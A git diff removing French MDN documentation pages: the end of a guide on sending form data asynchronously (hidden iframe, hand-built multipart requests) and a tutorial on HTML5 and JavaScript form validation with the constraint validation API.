La plus ancienne façon d'expédier des données de formulaire de manière asynchrone consiste à construire un formulaire avec l'API DOM, puis d'envoyer ses données dans un {{HTMLElement("iframe")}} caché. Pour accéder au résultat de votre envoi, il suffit de récupérer le contenu de l'élément {{HTMLElement("iframe")}}.

- -
-

Avertissement : Évitez d'employer cette technique. Il y a des risques concernant la sécurité avec des services tierce-partie car vous laissez ouverte la possibilité d'une attaque par injection de script. Si vous utilisez HTTPS, il reste possible de perturber la politique de la même origine, ce qui peut rendre le contenu de l'élément {{HTMLElement("iframe")}} inatteignable. Toutefois, cette méthode peut être votre seule possibilité si vous devez prendre en charge des navigateurs très anciens.

-
- -

Voici un exemple :

- -
<button onclick="sendData({test:'ok'})">Cliquez ici !</button>
- -
// Créer l'iFrame servant à envoyer les données
-var iframe = document.createElement("iframe");
-iframe.name = "myTarget";
-
-// Puis, attachez l'iFrame au document principal
-window.addEventListener("load", function () {
-  iframe.style.display = "none";
-  document.body.appendChild(iframe);
-});
-
-// Voici la fonction réellement utilisée pour expédier les données
-// Elle prend un paramètre, qui est un objet chargé des paires clé/valeurs.
-function sendData(data) {
-  var name,
-      form = document.createElement("form"),
-      node = document.createElement("input");
-
-  // Définir ce qui se passe quand la réponse est chargée
-  iframe.addEventListener("load", function () {
-    alert("Ouais ! Données envoyés.");
-  });
-
-  form.action = "http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi";
-  form.target = iframe.name;
-
-  for(name in data) {
-    node.name  = name;
-    node.value = data[name].toString();
-    form.appendChild(node.cloneNode());
-  }
-
-  // Pour être envoyé, le formulaire nécessite d'être attaché au document principal.
-  form.style.display = "none";
-  document.body.appendChild(form);
-
-  form.submit();
-
-  // Une fois le formulaire envoyé, le supprimer.
-  document.body.removeChild(form);
-}
- -

Voici le résultat en direct :

- -

{{EmbedLiveSample('Construire_un_DOM_dans_un_iframe_caché', "100%", 50)}}

- -

 

- -

Gestion des données binaires

- -

Si vous utilisez un objet {{domxref("XMLHttpRequest/FormData", "FormData")}} avec un formulaire qui inclut des widgets <input type="file">, les données seront traitées automatiquement. Mais pour envoyer des données binaires à la main, il y a un travail supplémentaire à faire.

- -

Il existe de nombreuses sources de données binaires sur le Web moderne : {{domxref("FileReader")}}, {{domxref("HTMLCanvasElement", "Canvas")}} et WebRTC, par exemple. Malheureusement, certains anciens navigateurs ne peuvent pas accéder aux données binaires ou nécessitent des solutions de contournement compliquées. Ces cas hérités sont hors du champ d'application de cet article. Si vous voulez en savoir plus sur l'API FileReader, lisez Utiliser les fichiers des applications Web.

- -

Envoyer des données binaires avec le support de {{domxref("XMLHttpRequest/FormData", "FormData")}} est direct. Utilisez la méthode append() et vous avez terminé. Si vous devez le faire à la main, c'est plus délicat.

- -

Dans l'exemple suivant, nous utilisons l'API {{domxref("FileReader")}} pour accéder aux données binaires et ensuite nous construisons à la main la demande de données du formulaire en plusieurs parties :

- -
<form id="myForm">
-  <p>
-    <label for="i1">Données textuelles :</label>
-    <input id="i1" name="myText" value="Quelques données textuelles">
-  </p>
-  <p>
-    <label for="i2">Fichier de données :</label>
-    <input id="i2" name="myFile" type="file">
-  </p>
-  <button>Envoyer !</button>
-</form>
- -

Comme vous pouvez le voir, le HTML est un <form>standard. Il n'y a rien de magique là‑dedans. La « magie » est dans le JavaScript :

- -
// Comme nous voulons avoir accès à un nœud DOM,
-// nous initialisons le script au chargement de la page.
-window.addEventListener('load', function () {
-
-  // Ces variables s'utilisent pour stocker les données du formulaire
-  var text = document.getElementById("i1");
-  var file = {
-        dom    : document.getElementById("i2"),
-        binary : null
-      };
-
-  // Nous utilisons l'API de FileReader pour accéder au contenu du fichier
-  var reader = new FileReader();
-
-  // Comme FileReader est asynchrone, stockons son résulata
-  // quand il a fini de lire le fichier
-  reader.addEventListener("load", function () {
-    file.binary = reader.result;
-  });
-
-  // Au chargement de la page, si un fichier est déjà choisi, lisons‑le
-  if(file.dom.files[0]) {
-    reader.readAsBinaryString(file.dom.files[0]);
-  }
-
-  // Sinon, lisons le fichier une fois que l'utilisateur l'a sélectionné
-  file.dom.addEventListener("change", function () {
-    if(reader.readyState === FileReader.LOADING) {
-      reader.abort();
-    }
-
-    reader.readAsBinaryString(file.dom.files[0]);
-  });
-
-  // sendData est notre fonction principale
-  function sendData() {
-    // S'il y a un fichier sélectionné, attendre sa lecture
-    // Sinon, retarder l'exécution de la fonction
-    if(!file.binary && file.dom.files.length > 0) {
-      setTimeout(sendData, 10);
-      return;
-    }
-
-    // Pour construire notre requête de données de formulaire en plusieurs parties
-    // nous avons besoin d'une instance de XMLHttpRequest
-    var XHR = new XMLHttpRequest();
-
-    // Nous avons besoin d'un séparateur pour définir chaque partie de la requête
-    var boundary = "blob";
-
-    // Stockons le corps de la requête dans une chaîne littérale
-    var data = "";
-
-    // Ainsi, si l'utilisateur a sélectionné un fichier
-    if (file.dom.files[0]) {
-      // Lancer une nouvelle partie de la requête du corps
-      data += "--" + boundary + "\r\n";
-
-      // Décrivons là comme étant des données du formulaire
-      data += 'content-disposition: form-data; '
-      // Définissons le nom des données du formulaire
-            + 'name="'         + file.dom.name          + '"; '
-      // Fournissons le vrai nom du fichier
-            + 'filename="'     + file.dom.files[0].name + '"\r\n';
-      // et le type MIME du fichier
-      data += 'Content-Type: ' + file.dom.files[0].type + '\r\n';
-
-      // Il y a une ligne vide entre les métadonnées et les données
-      data += '\r\n';
-
-      // Ajoutons les données binaires à la requête du corps
-      data += file.binary + '\r\n';
-    }
-
-    // C'est plus simple pour les données textuelles
-    // Démarrons une nouvelle partie dans notre requête du corps
-    data += "--" + boundary + "\r\n";
-
-    // Disons que ce sont des données de formulaire et nommons les
-    data += 'content-disposition: form-data; name="' + text.name + '"\r\n';
-    // Il y a une ligne vide entre les métadonnées et les données
-    data += '\r\n';
-
-    // Ajoutons les données textuelles à la requête du corps
-    data += text.value + "\r\n";
-
-    // Ceci fait, "fermons" la requête du corps
-    data += "--" + boundary + "--";
-
-    // Définissons ce qui arrive en cas de succès pour la soumission des données
-    XHR.addEventListener('load', function(event) {
-      alert('Ouais ! Données expédiées et réponse chargée.');
-    });
-
-    // Définissons ce qui se passe en cas d'eerreur
-    XHR.addEventListener('error', function(event) {
-      alert('Oups! Quelque chose s\'est mal passé.');
-    });
-
-    // Configurons la requête
-    XHR.open('POST', 'https://example.com/cors.php');
-
-    // Ajoutons l'en-tête requise pour gèrer la requête POST des données
-    // de formulaire en plusieurs parties
-    XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
-
-    // et finalement, expédions les données.
-    XHR.send(data);
-  }
-
-  // Accéder au formulaire …
-  var form = document.getElementById("myForm");
-
-  // … pour prendre en charge l'événement soumission
-  form.addEventListener('submit', function (event) {
-    event.preventDefault();
-    sendData();
-  });
-});
- -

Voici le résultat en direct :

- -

{{EmbedLiveSample('Gestion_des_données_binaires', "100%", 150)}}

- -

Conclusion

- -

Selon le navigateur, l'envoi de données de formulaire par JavaScript peut être facile ou difficile. L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} en est généralement la cause et n'hésitez pas à utiliser un « polyfill » (prothèse d'émulation) pour cela sur les navigateurs anciens :

- -
    -
  • Ces primitives sont des « polyfills » de  FormData avec des {{domxref("Using_web_workers","worker")}}.
    • -
  • HTML5-formdata tente d'opérer un « polyfill » de l'objet FormData, mais il requiert un File API
    • -
  • Ce « polyfill » fournit la plupart des nouvelles méthodes dont FormData dispose (entrées, clés, valeurs et prise en charge de for...of)
    • -
- -

 

- -
{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}
- -

 

- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/formulaires/validation_donnees_formulaire/index.html b/files/fr/web/guide/html/formulaires/validation_donnees_formulaire/index.html deleted file mode 100644 index ccbac0ef15..0000000000 --- a/files/fr/web/guide/html/formulaires/validation_donnees_formulaire/index.html +++ /dev/null @@ -1,874 +0,0 @@ ---- -title: Validation des données de formulaires -slug: Web/Guide/HTML/Formulaires/Validation_donnees_formulaire -tags: - - Exemple - - Formulaires - - Guide - - HTML - - Intermédiaire - - JavaScript - - Web -translation_of: Learn/Forms/Form_validation ---- -
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}
- -

Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont dans un format correct pour pouvoir être traitées correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser les applications. La validation des données de formulaire vous aide à remplir ces objectifs — cet article indique ce qu'il est nécessaire de savoir.

- - - - - - - - - - - - -
Prérequis :Notions concernant les ordinateurs, une bonne compréhension du HTML, des CSS et de JavaScript.
Objectif :Comprendre ce qu'est la validation d'un formulaire, pourquoi c'est important et comment la mettre en œuvre.
- -

Qu'est‑ce qu'une validation de formulaire?

- -

Allez sur n'importe quel site à la mode avec un formulaire d'inscription et vous remarquerez des retours si vous n'entrez pas les données dans le format attendu. Vous aurez des messages comme :

- -
    -
  • « Ce champ est obligatoire » (vous ne pouvez pas le laisser vide)
    • -
  • « Veuillez entrer votre numéro de téléphone au format xxx-xxxx » (il attend trois chiffres suivis d'un tiret, suivi de quatre chiffres).
    • -
  • « Veuillez entrer une adresse e-mail valide » (ce que vous avez saisi ne ressemble pas à une adresse e-mail valide).
    • -
  • « Votre mot de passe doit comporter entre 8 et 30 caractères et contenir une majuscule, un symbole et un chiffre » (sérieusement ?).
    • -
- -

C'est ce qu'on appelle la validation de formulaire —  lorsque vous saisissez des données, l'application Web vérifie si elles sont correctes. Si elles sont correctes, l'application permet que les données soient soumises au serveur et (généralement) sauvegardées dans une base de données ; si ce n'est pas le cas, elle émet des messages d'erreur pour expliquer ce que vous avez fait de mal (pour autant que vous l'ayez fait). La validation des formulaires peut être mise en œuvre de différentes manières.

- -

La vérité est qu'aucun d'entre nous n'aime remplir des formulaires — les formulaires ennuient les utilisateurs, tout le prouve : cela les incite à partir et à aller voir ailleurs s'ils sont mal faits. Bref, les formulaires, c'est nullissime.

- -

Remplir des formulaires web doit être aussi facile que possible. Alors pourquoi être tatillons et bloquer les utilisateurs à chaque fois ? Il y a trois raisons principales :

- -
    -
  • obtenir de bonnes données dans un bon format — les applications ne tourneront pas correctement si les données utilisateur sont stockées dans un format fantaisiste, ou si les bonnes informations ne sont pas aux bons endroits ou totalement omises.
    • -
  • protéger nos utilisateurs — s'ils entrent un mot de passe facile à deviner ou aucun, des utilisateurs malveillants peuvent aisément accéder à leurs comptes et voler leurs données.
    • -
  • nous protéger nous‑mêmes — il existe de nombreuses façons dont les utilisateurs malveillants peuvent utiliser les formulaires non protégés pour endommager l'application dans laquelle ils se trouvent (voir Sécurité du site Web).
    • -
- -

Les divers types de validation de formulaire

- -

Vous rencontrerez différents types de validation de formulaires sur le Web :

- -
    -
  • La validation côté client est la validation qui est effectuée dans le navigateur, avant que les données n'aient été soumises au serveur. Cette méthode est plus conviviale que la validation côté serveur car elle donne une réponse instantanée. Il est possible de la subdiviser encore avec : -
      -
    • la validation JavaScript, codée en JavaScript, entièrement personnalisable.
      • -
    • la validation de formulaire intégrée avec les fonctions de validation de formulaire HTML5. Elle ne nécessite généralement pas de JavaScript, a de meilleures performances, mais elle n'est pas aussi personnalisable.
      • -
    -
    • -
- -
-
- -
    -
  • La validation côté serveur est la validation opérée sur le serveur, après que les données ont été soumises — le code côté serveur est utilisé pour valider les données avant de les mettre dans la base de données. Si elles sont erronées, une réponse est envoyée au client pour dire à l'utilisateur ce qui a mal tourné. La validation côté serveur n'est pas aussi conviviale que la validation côté client, car elle nécessite un aller-retour vers le serveur, mais c'est la dernière ligne de défense de votre application contre les mauvaises données (c'est-à-dire les données incorrectes, voire malveillantes). Tous les modèles de canevas de vérification courants côté serveur ont des fonctions de validation et de nettoyage des données (ce qui les sécurise).
    • -
- -

Dans le monde réel, les développeurs ont tendance à utiliser une combinaison de validations côté client et côté serveur, pour être du côté sûr.

- -

Utiliser la validation intégrée au formulaire

- -

Une des caractéristiques de HTML5 est la possibilité de valider la plupart des données utilisateur sans avoir recours à des scripts. Ceci se fait en utilisant des attributs de validation sur les éléments de formulaire ; ils vous permettent de spécifier des règles pour une entrée de formulaire comme : une valeur doit‑elle être remplie ? y a-t-il une longueur minimale et/ou maximale des données ? doit‑elle être un nombre, une adresse e-mail ou autre chose ? doit‑elle correspondre à un modèle ? Si les données saisies suivent toutes ces règles, elles sont considérées comme valides ; si ce n'est pas le cas, elles sont considérées comme non valides.
- Quand un élément est valide :

- -
    -
  • l'élément correspond à la pseudo‑classe CSS {{cssxref(":valid")}}  ; cela vous permet d'appliquer une composition de style distinctive.
    • -
  • si l'utilisateur essaie d'envoyer les données, le navigateur soumet le formulaire pour autant qu'il n'y ait rien d'autre qui l'empêche de le faire (par ex. du JavaScript).
    • -
- -

Quand un élément est invalide :

- -
    -
  • l'élément correspond à la pseudo‑classe CSS {{cssxref(":invalid")}}  ; cela vous permet d'appliquer une composition de style distinctive.
    • -
  • si l'utilisateur essaie d'envoyer le formulaire, le navigateur le bloquera et affichera un message d'erreur.
    • -
- -

Contraintes de validation sur les éléments d'entrée — simple début

- - - -

Dans cette section, nous examinerons quelques unes des diverses fonctionnalités HTML5 peuvant être utilisées pour valider des éléments d'{{HTMLElement("input")}}.

- -

Commençons par un exemple simple — une entrée ouvrant un choix, selon votre préférence, entre banane ou cerise. Il faut un texte {{HTMLElement("input")}} simple avec une étiquette correspondante et un {{htmlelement("button")}} de soumission. Le code source est sur GitHub à l'adresse fruit-start.html et un exemple « live » ci-dessous :

- - - -

{{EmbedLiveSample("Hidden_code", "100%", 55)}}

- -

Pour commencer, faites une copie de fruit-start.html dans un nouveau répertoire sur votre disque dur.

- -

L'attribut required

- -

La fonctionnalité de validation HTML5 la plus simple à utiliser est l'attribut {{htmlattrxref("required", "input")}}} — si vous voulez rendre une entrée obligatoire, vous pouvez marquer l'élément en utilisant cet attribut. Lorsque cet attribut est mis, le formulaire ne sera pas soumis (et affichera un message d'erreur) si l'entrée est vide (l'entrée sera également considérée comme invalide).

- -

Ajoutez un attribut required à votre saisie, comme montré ci‑dessous :

- -
<form>
-  <label for="choose">Préférez-vous la banane ou la cerise ?</label>
-  <input id="choose" name="i_like" required>
-  <button>Soumettre</button>
-</form>
- -

Notez aussi le CSS incorporé dans le fichier exemple :

- -
input:invalid {
-  border: 2px dashed red;
-}
-
-input:valid {
-  border: 1px solid black;
-}
- -

L'entrée a une bordure en pointillés rouge vif lorsqu'elle n'est pas valide, et une bordure noire plus subtile lorsqu'elle est valide. Essayez le nouveau comportement dans l'exemple ci-dessous :

- -

{{EmbedLiveSample("L'attribut_required", "100%", 55)}}

- -

Validation selon une expression régulière

- -

Une autre fonctionnalité de validation très courante est l'attribut {{htmlattrxref("pattern", "input")}}, qui attend une expression régulière comme valeur. Une expression régulière (regex) est un modèle qui peut être utilisé pour faire correspondre des combinaisons de caractères dans des chaînes de texte, de sorte qu'elles sont idéales pour la validation de formulaires (ainsi que diverses autres utilisations en JavaScript). Les Regex sont assez complexes et nous n'avons pas l'intention de vous les enseigner de manière exhaustive dans cet article.

- -

Vous trouverez ci-dessous quelques exemples pour vous donner une idée de base de leur fonctionnement :

- -
    -
  • a — correspond à un caractère qui doit être un a (ni b, ni aa, etc.)
    • -
  • abc — correspond à a, suivi de b, suivi de c.
    • -
  • a* — correspond au caractère a, absent ou présent plusieurs fois (+ correspond à un caractère une ou plusieurs fois).
    • -
  • [^a] — correspond à un caractère qui n'est pas un a.
    • -
  • a|b — correspond à un caractère qui est a ou b.
    • -
  • [abc] — correspond à un caractère qui est a, b ou c.
    • -
  • [^abc] — correspond à un caractère qui n'est pas a, b ou c.
    • -
  • [a-z] — correspond à tout caractère de la plage a–z, en minuscules seulement (utilisez [A-Za-z] pour minuscules et majuscules et [A-Z] pour les majuscules uniquement).
    • -
  • a.c — correspond à a, suivi par n'importe quel caractère,suivi par c.
    • -
  • a{5} — correspond à a, 5 fois.
    • -
  • a{5,7} — correspond à  a, 5 à 7 fois, mais ni plus, ni moins.
    • -
- -

Vous pouvez utiliser des nombres ou d'autres caractères dans ces expressions, comme :

- -
    -
  • [ -] — correspond à une espace ou un tiret.
    • -
  • [0-9] — correspond à tout nombre compris entre 0 et 9.
    • -
- -

Vous pouvez combiner cela pratiquement comme vous l'entendez en précisant les différentes parties les unes après les autres :

- -
    -
  • [Ll].*k — Un seul caractère L en majuscules ou minuscules, suivi de zéro ou plusieurs caractères de n'importe quel type, suivis par un k minuscules.
    • -
  • [A-Z][A-Za-z' -]+ — Un seul caractère en majuscules suivi par un ou plusieurs caractères en majuscules ou minuscules, un tiret, une apostrophe ou une espace. Cette combinaison peut s'utiliser pour valider les nom de villes dans les pays anglo‑saxons ; ils débutent par une majuscule et ne contiennent pas d'autre caractère. Quelques exemples de ville de GB correspondant à ce schéma : Manchester, Ashton-under-lyne et Bishop's Stortford.
    • -
  • [0-9]{3}[ -][0-9]{3}[ -][0-9]{4} — Un schéma pour un numéro de téléphone intérieur américain — trois chiffres, suivis par une espace ou un tiret, suivis par trois nombres, suivis par une espace ou un tiret, suivis par quatre nombres. Vous aurez peut-être à faire plus compliqué, car certains écrivent leur numéro de zone entre parenthèses, mais ici il s'agit simplement de faire une démonstration.
    • -
- -

Voyons un exemple — mettons à jour notre HTML en y ajoutant un attribut pattern, ainsi :

- -
<form>
-  <label for="choose">Préférez‑vous la banane ou la cerise ?</label>
-  <input id="choose" name="i_like" required pattern="banane|cerise">
-  <button>Soumettre</button>
-</form>
- - - -

{{EmbedLiveSample("Validation_selon_une_expression_régulière", "100%", 55)}}

- -

Dans cet exemple, l'élément {{HTMLElement("input")}}} accepte l'une des deux valeurs possibles : la chaîne « banane » ou la chaîne « cerise ».

- -

Maintenant, essayez de changer la valeur à l'intérieur de l'attribut pattern suivant certains exemples vus plus haut et regardez comment les valeurs entrées en sont affectées pour rester valides. Écrivez vos propres textes et voyez comment vous vous en sortez ! Restez dans le domaine des fruits dans la mesure du possible, afin que vos exemples aient du sens !

- -
-

Note : Certains types d'éléments {{HTMLElement("input")}} n'ont pas besoin d'un attribut {{htmlattrxref("pattern", "input")}} pour être validés. Spécifier le type email, par exemple, valide la valeur saisie par rapport à une expression régulière correspondant à une adresse e‑mail bien formée (ou une liste d'adresses e‑mail séparées par des virgules si elle possède l'attribut {{htmlattrxref("multiple", "input")}}. Comme autre exemple, les champs de type url vont automatiquement nécessiter une URL correctement formée.

-
- -
-

Note : L'élément {{HTMLElement("textarea")}} ne prend pas en charge l'attribut {{htmlattrxref("pattern", "input")}}.

-
- -

Limitation de la taille des entrées

- -

Tous les champs de texte créés avec ({{HTMLElement("input")}} ou {{HTMLElement("textarea")}}) peuvent être limités en taille avec les attributs {{htmlattrxref("minlength", "input")}} et {{htmlattrxref("maxlength", "input")}}. Le champ sera invalide si sa taille est inférieure à la valeur {{htmlattrxref("minlength", "input")}} ou supérieure la valeur {{htmlattrxref("maxlength", "input")}}. Souvent, les navigateurs ne permettent pas aux utilisateurs de saisir des textes de grande longueur dans les champs texte, mais il peut être utile de disposer d'un contrôle plus fin.

- -

Pour les champs numériques (c'est à dire, <type d'entrée="nombre">), les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent également des contraintes de validité. Si la valeur du champ est inférieure à l'attribut {{htmlattrxref("min", "input")}} ou supérieure à l'attribut {{htmlattrxref("max", "input")}}, le champ ne sera pas valide.

- -

Prenons un autre exemple. Créez une nouvelle copie du fichier fruit-start.html.

- -

Supprimez maintenant le contenu de l'élément <body> et remplacez-le par le suivant :

- -
<form>
-  <div>
-    <label for="choose">Préférez‑vous la banane ou la cerise ?</label>
-    <input id="choose" name="i_like" required minlength="6" maxlength="6">
-  </div>
-  <div>
-    <label for="number">Combien en voulez‑vous ?</label>
-    <input type="number" id="number" name="amount" value="1" min="1" max="10">
-  </div>
-  <div>
-    <button>Soumettre</button>
-  </div>
-</form>
- -
    -
  • Ici, nous avons donné au champ de texte une taille minimale et maximale de 6 caractères — la même que celle de banane ou cerise. La saisie de moins de 6 caractères s'affichera comme non valide et la saisie de plus de 6 caractères ne sera pas possible dans la plupart des navigateurs.
    • -
  • Nous avons également contraint le champ number à un min de 1 et un max de 10 — les nombres entrés hors de cette plage seront affichés comme non valides, et vous ne pourrez pas utiliser les flèches d'incrémentation/décrémentation pour porter la valeur en dehors de cette plage.
    • -
- - - -

Voici cet exemple s'exécutant en « live » :

- -

{{EmbedLiveSample('Limitation_de_la_taille_des_entrées', "100%", 100)}}

- -
-

Note: <input type="number"> (et d'autres types, comme range) acceptent aussi un attribut {{htmlattrxref("step", "input")}} qui spécifie l'incrément en plus ou en moins de la valeur quand les contrôles d'entrée sont utilisés (comme les boutons ^ et v).

-
- -

Exemple complet

- -

Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intégrées pour la validation :

- -
<form>
-  <p>
-    <fieldset>
-      <legend>Qualité<abbr title="Ce champ est obligatoire">*</abbr></legend>
-      <input type="radio" required name="title" id="r1" value="Mr"><label for="r1">M.</label>
-      <input type="radio" required name="title" id="r2" value="Ms"><label for="r2">Mme.</label>
-    </fieldset>
-  </p>
-  <p>
-    <label for="n1">Quel est votre âge ?</label>
-    <!-- L'attribut pattern peut servir de recours pour les navigateurs dont le type number n'est
-         pas implémenté pour input mais qui prennent en charge l'attribut pattern. Veuillez noter
-         que les navigateurs prenant en charge l'attribut pattern ne signalent pas d'erreur quand
-         il est utilisé avec un champ number. Seule son utilisation ici agit en tant que recours. -->
-    <input type="number" min="12" max="120" step="1" id="n1" name="age"
-           pattern="\d+">
-  </p>
-  <p>
-    <label for="t1">Quel est votre fruit favori ?<abbr title="Ce champ est obligatoire">*</abbr></label>
-    <input type="text" id="t1" name="fruit" list="l1" required
-           pattern="[Bb]anane|[Cc]erise|[Cc]itron|[Ff]raise|[Oo]range|[Pp]omme">
-    <datalist id="l1">
-      <option>Banane</option>
-      <option>Cerise</option>
-      <option>Citron</option>
-      <option>Fraise</option>
-      <option>Orange</option>
-      <option>Pomme</option>
-    </datalist>
-  </p>
-  <p>
-    <label for="t2">Quelle est votre adresse électronique ?</label>
-    <input type="email" id="t2" name="email">
-  </p>
-  <p>
-    <label for="t3">Laissez un court message</label>
-    <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea>
-  </p>
-  <p>
-    <button>Soumettre</button>
-  </p>
-</form>
- -
body {
-  font: 1em sans-serif;
-  padding: 0;
-  margin : 0;
-}
-
-form {
-  max-width: 300px;
-  margin: 0;
-  padding: 0 5px;
-}
-
-p > label {
-  display: block;
-}
-
-input[type=text],
-input[type=email],
-input[type=number],
-textarea,
-fieldset {
-/* requis pour composer de manière appropriée les éléments
-   de formulaire sur les navigateurs fondés sur WebKit */
-  -webkit-appearance: none;
-
-  width : 100%;
-  border: 1px solid #333;
-  margin: 0;
-
-  font-family: inherit;
-  font-size: 90%;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-input:invalid {
-  box-shadow: 0 0 5px 1px red;
-}
-
-input:focus:invalid {
-  outline: none;
-}
- -

{{EmbedLiveSample("Exemple_complet", "100%", 450)}}

- - - -

Messages d'erreur personnalisés

- -

Comme nous avons vu dans les exemples précédents, à chaque fois qu'un utilisateur tente d'envoyer un formulaire invalide, le navigateur affiche un message d'erreur. La manière dont le message est affiché dépend du navigateur.

- -

Ces messages automatiques présentent deux inconvénients:

- -
    -
  • Il n'y a pas de façon standard de changer leur apparence avec CSS.
    • -
  • Ils dépendent des paramètres régionaux du navigateur, ce qui signifie que vous pouvez avoir une page dans une langue mais les messages d'erreurs affichés dans une autre.
    • -
- - - - - - - - - - - - - - - - - - - - - - - -
Versions françaises des navigateurs sur une page en anglais
NavigateurAffichage
Firefox 17 (Windows 7)Example of an error message with Firefox in French on an English page
Chrome 22 (Windows 7)Example of an error message with Chrome in French on an English page
Opera 12.10 (Mac OSX)Example of an error message with Opera in French on an English page
- -

Pour personnaliser l'apparence et le texte de ces messages, vous devez utiliser JavaScript ; il n'est pas possible de l'implémenter en utilisant uniquement HTML et CSS.

- -

HMTL5 fournit une API de contraintes de validation pour vérifier et personnaliser l'état des élément d'un formulaire. Il est possible, entre autres, de changer le texte des messages d'erreur. Voici un court exemple :

- -
<form>
-  <label for="mail">Pourriez-vous nous fournir une adresse mail ?</label>
-  <input type="email" id="mail" name="mail">
-  <button>Envoyer</button>
-</form>
- -

En JavaScript, il faut appeler la méthode setCustomValidity():

- -
var email = document.getElementById("mail");
-
-email.addEventListener("keyup", function (event) {
-  if(email.validity.typeMismatch) {
-    email.setCustomValidity("J'attend un e-mail, mon cher !");
-  } else {
-    email.setCustomValidity("");
-  }
-});
- -

{{EmbedLiveSample("Messages_d'erreur_personnalisés", "100%", 50)}}

- -

Validation de formulaires avec JavaScript

- -

Si vous souhaitez avoir le contrôle de l'apparence des messages d'erreur, ou si vous voulez gérer le comportement des navigateurs n'ayant pas implémenté la validation de formulaire HTML5, vous n'avez pas d'autre choix que d'utiliser JavaScript.

- -

API de contraintes de validation HTML5

- -

De plus en plus de navigateurs prennent maintenant en charge l'API de validation des contraintes, et elle devient fiable. Cette API se compose d'un ensemble de méthodes et de propriétés disponibles sur chaque élément de formulaire.

- -

Propriétés de l'API de validation des contraintes

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétésDescription
validationMessageUn message (dans la langue locale) décrivant les contraintes de validation que le contrôle ne satisfait pas (si c'est le cas), ou une chaîne vide si le contrôle n'est pas soumis à validation (willValidate est alors false), ou bien la valeur de l'élément satisfait ses contraintes.
validityUn objet {{domxref("ValidityState")}} qui décrit l'état de validité de l'élément.
validity.customErrorRenvoie true si l'élément à une erreur personnalisée, false a contrario.
validity.patternMismatchRenvoie true si la valeur de l'élément ne correspond pas au motif fourni, false dans le cas contraire. Si la méthode renvoie true, l'élément fera partie de la pseudo-classe CSS {{cssxref(":invalid")}}.
validity.rangeOverflowRenvoie true si la valeur de l'élément est supérieure au maximum défini, false dans le cas contraire. Si le retour est true, l'élément fera partie des  pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.rangeUnderflowRenvoie true si la valeur de l'élément est plus petite que le minimum défini, false dans le cas contraire. Si le retour est true, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.stepMismatchRenvoie true si la valeur de l'élément ne correspond pas aux règles définies par l'attribut step,false a contrario. Si le retour est true, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.tooLongRenvoie true si la taille de l'élément est supérieure à la longueur maximum définie, false dans le cas contraire. Si le retour est true, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}.
validity.typeMismatchRenvoie true si la syntaxe de la valeur de l'élément n'est pas correcte ; false dans le cas contraire. Si le retour est true, l'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}}.
validity.validRenvoie true si la valeur de l'élément n'a pas de problème de validité, sinon false. L'élément sera de la pseudo-classe CSS {{cssxref(":valid")}} si le retour est true ; de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est false.
validity.valueMissingRenvoie true si l'élément n'a pas de valeur alors que le champ est requis, sinonfalse. L'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est true.
willValidateRetourne true si l'élément est validé lorsque le formulaire est soumis, false dans le cas contraire.
- -

Méthodes de l'API de validation des contraintes

- - - - - - - - - - - - - - - - - - -
MéthodesDescription
checkValidity()Renvoie true si la valeur de l'élément n'a pas de problème de validation, false autrement. Si l'élément est invalide, cette méthode déclenche aussi un événement {{event("invalid")}} sur cet élément.
setCustomValidity(message)Ajoute un message d'erreur personnalisé à l'élément ; si vous définissez un message d'erreur personnalisé, l'élément est considéré comme invalide, et le message spécifié est affiché. Cela vous permet d'utiliser du code JavaScript pour établir une erreur de validation autre que celles offertes par l'API standard des contraintes de validation. Le message est affiché à l'utilisateur lorsque le problème est rapporté. Si l'argument est une chaîne de caractères vide, l'erreur personnalisée est considérée comme effacée.
- -

Pour les anciens navigateurs, il existe une prothèse d'émulation (polyfill) comme Hyperform, pour compenser le défaut de prise en charge de cette API. Comme vous utilisez déjà JavaScript, l'utilisation d'une prethèse d'émulation n'est pas un souci supplémentaire pour la conception ou l'implémentation de votre site ou application Web.

- -

Exemple d'utilisation de l'API de validation des contraintes

- -

Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. Tout d'abord, le HTML :

- -
<form novalidate>
-  <p>
-    <label for="mail">
-      <span>Veuillez saisir une adresse e-mail :</span>
-      <input type="email" id="mail" name="mail">
-      <span class="error" aria-live="polite"></span>
-    </label>
-  <p>
-  <button>Envoyer</button>
-</form>
- -

